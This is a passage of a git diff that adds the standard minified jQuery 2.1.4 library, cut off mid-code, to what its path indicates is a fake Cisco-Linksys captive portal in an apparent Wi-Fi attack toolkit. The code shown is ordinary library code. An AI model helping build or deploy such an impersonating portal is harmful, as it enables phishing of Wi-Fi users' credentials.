document.write("<"+t+" align="+rtla+" "+p+">"); + else + document.write("<"+t+" align="+a+" "+p+">"); +} + +function rtlUI_04(rtl) +{ + document.write((rtl?"":"")) +} + +function rtlUI_05(rtl) +{ + document.write((rtl?"":"")) +} diff --git a/attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/Cisco-Linksys_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return 